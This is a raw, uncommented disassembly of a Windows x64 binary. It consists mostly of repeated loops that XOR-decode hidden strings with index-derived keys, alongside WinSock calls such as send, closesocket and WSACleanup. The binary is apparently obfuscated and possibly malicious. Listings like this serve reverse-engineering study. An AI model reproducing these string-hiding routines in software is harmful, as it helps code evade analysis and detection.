movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x140091dd0]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x140091de0]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x140091df0]
movups xmmword [rbp + 0x20], xmm0
mov eax, dword [0x140091e00]
mov dword [rbp + 0x30], eax
cmp edi, 2
jl 0x1400244a2
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x1400243a0
cmp esi, 0x54
jge 0x1400244dd
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x54
jl 0x1400244b0
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str._PG_Q5]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor byte [rsp + 0x34], 0x34
xor byte [rsp + 0x35], 0x35
lea rcx, [rsp + 0x30]
call fcn.14002b208
nop
lea rcx, [rbp + 0x5b0]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x508]
call fcn.14000ee80
nop
lea rcx, [rbp + 0x4e8]
call fcn.140008a30
jmp 0x140024223
movups xmm0, xmmword [str.y_XVWASS]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140092330]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x140092340]
movsd qword [rbp], xmm0
movzx eax, word [0x140092348]
mov word [rbp + 8], ax
cmp edi, 2
jl 0x1400246d2
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x1400245d0
cmp esi, 0x2a
jge 0x14002470d
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2a
jl 0x1400246e0
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str._PG_Q5]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor byte [rsp + 0x34], 0x34
xor byte [rsp + 0x35], 0x35
lea rcx, [rsp + 0x30]
call fcn.14002b208
nop
lea rcx, [rbp + 0x5b0]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x508]
call fcn.14000ee80
nop
lea rcx, [rbp + 0x4e8]
call fcn.140008a30
nop
lea rcx, [rbp + 0x528]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4b0]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
lea rcx, [rbp + 0x590]
call fcn.140008a30
nop
lea rcx, [rbp + 0x560]
call fcn.140005520
jmp 0x140021c82
call fcn.14001b650
test al, al
jne 0x1400249ca
movups xmm0, xmmword [0x1400923d0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400923e0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400923f0]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x140092400]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x140092410]
movups xmmword [rbp + 0x20], xmm0
movsd xmm1, qword [0x140092420]
movsd qword [rbp + 0x30], xmm1
mov r8d, esi
cmp edi, 2
jl 0x140024971
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x140024870
jmp 0x1400249b2
lea r9, [rbp - 0x20]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x140024980
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov rcx, qword [0x1409ffc00]
call fcn.14000c0e0
test al, al
jne 0x140024beb
movups xmm0, xmmword [0x140091e70]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140091e80]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140091e90]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140091ea0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140091eb0]
movups xmmword [rbp + 0xf0], xmm0
movzx eax, byte [0x140091ec0]
mov byte [rbp + 0x100], al
mov r8d, esi
cmp edi, 2
jl 0x140024b87
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140024a80
cmp r8d, 0x51
jge 0x140024bd0
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140024ba0
lea rdx, [rbp + 0xb0]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rax
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rdx, qword [rbp + 0x650]
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], send
inc r14
cmp byte [rdx + r14], 0
jne 0x140024c25
mov r8, r14
lea rcx, [rbp + 0x40]
call fcn.140003650
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov rcx, qword [rbp + 0x4d0]
cmp rcx, qword [rbp + 0x4d8]
jne 0x140025593
test rcx, rcx
je 0x140024cb2
mov rdx, qword [rbp + 0x4e0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024c9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025816
call fcn.14005bba4
mov qword [rbp + 0x4d0], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4d8], xmm0
mov rdx, qword [rbp + 0x520]
cmp rdx, 8
jb 0x140024cf8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024cf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002581c
call fcn.14005bba4
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], 7
mov word [rbp + 0x508], si
mov rdx, qword [rbp + 0x500]
cmp rdx, 0x10
jb 0x140024d52
inc rdx
mov rcx, qword [rbp + 0x4e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024d4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025822
call fcn.14005bba4
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x500], send
mov byte [rbp + 0x4e8], 0
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x140024dbd
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024da6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025828
call fcn.14005bba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140024dfe
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024df9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002582e
call fcn.14005bba4
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140024e66
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024e60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025834
call fcn.14005bba4
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140024e7c
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002192c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021927
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002566c
jmp 0x140021927
lea rdx, [rbp + 0x198]
call fcn.140025940
mov r9, rax
cmp byte [rax + 0x22], 0
je 0x140025672
cmp dword [0x1400a3c50], 2
jl 0x140025046
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140024f40
cmp esi, 0x23
jge 0x140025672
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x23
jge 0x140025672
jmp 0x140025050
lea rdx, [rbp - 0x20]
call fcn.1400258f0
mov r9, rax
cmp byte [rax + 0x2e], 0
je 0x1400256c4
cmp dword [0x1400a3c50], 2
jl 0x1400251f6
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x1400250f0
cmp esi, 0x2f
jge 0x1400256c4
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2f
jge 0x1400256c4
jmp 0x140025200
lea rdx, [rbp + 0xb0]
call fcn.140025890
mov r9, rax
cmp byte [rax + 0x58], 0
je 0x140025716
cmp dword [0x1400a3c50], 2
jl 0x1400253a6
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x58
jl 0x1400252a0
cmp esi, 0x59
jge 0x140025716
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x59
jge 0x140025716
jmp 0x1400253b0
lea rdx, [rbp + 0x1c0]
call fcn.140025840
mov r9, rax
cmp byte [rax + 0x20], 0
je 0x140025768
cmp dword [0x1400a3c50], 2
jl 0x140025556
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140025450
cmp esi, 0x21
jge 0x140025768
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x21
jge 0x140025768
jmp 0x140025560
lea rcx, [rbp + 0x4d0]
call fcn.1400148f0
mov rbx, rax
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0x1c0]
call fcn.140008b30
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14001eff0
lea rdx, [rsp + 0x30]
call fcn.140025870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400255f5
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b208
xor ecx, ecx
call fcn.140026c98
nop
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
lea rdx, [rbp + 0x608]
call fcn.1400262a0
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025656
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b208
xor ecx, ecx
call fcn.140026c98
nop
call fcn.140026ed8
int3
call fcn.140026ed8
